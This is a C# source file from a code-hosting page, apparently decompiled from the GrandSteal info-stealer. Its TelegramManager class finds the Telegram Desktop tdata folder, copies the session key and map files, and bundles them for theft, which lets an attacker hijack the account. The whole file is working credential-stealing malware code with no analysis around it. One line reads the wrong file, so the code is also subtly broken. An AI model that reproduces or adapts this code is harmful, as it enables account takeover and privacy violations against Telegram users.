-
Notifications
You must be signed in to change notification settings - Fork 12
/
TelegramManager.cs
50 lines (49 loc) · 1.5 KB
/
TelegramManager.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
using System;
using System.IO;
using GrandSteal.Client.Data.Helpers;
using GrandSteal.SharedModels.Models;
namespace GrandSteal.Client.Data.Recovery
{
// Token: 0x0200001E RID: 30
public static class TelegramManager
{
// Token: 0x060000AC RID: 172 RVA: 0x00007180 File Offset: 0x00005380
public static TelegramSession Extract()
{
TelegramSession telegramSession = new TelegramSession();
try
{
string path = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming\\Telegram Desktop\\tdata");
string path2 = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming\\Telegram Desktop\\tdata\\D877F783D5D3EF8C");
if (!Directory.Exists(path) || !Directory.Exists(path2))
{
return telegramSession;
}
string[] files = Directory.GetFiles(path, "D877F783D5D3EF8C*");
if (files.Length != 0)
{
byte[] fileData = File.ReadAllBytes(RecoveryHelper.CreateTempCopy(files[0]));
string[] files2 = Directory.GetFiles(path2, "map*");
if (files2.Length != 0)
{
byte[] fileData2 = File.ReadAllBytes(RecoveryHelper.CreateTempCopy(files[0]));
telegramSession.MapFile = new DesktopFile
{
FileData = fileData2,
Filename = new FileInfo(files2[0]).Name
};
telegramSession.RootFile = new DesktopFile
{
FileData = fileData,
Filename = new FileInfo(files[0]).Name
};
}
}
}
catch (Exception)
{
}
return telegramSession;
}
}
}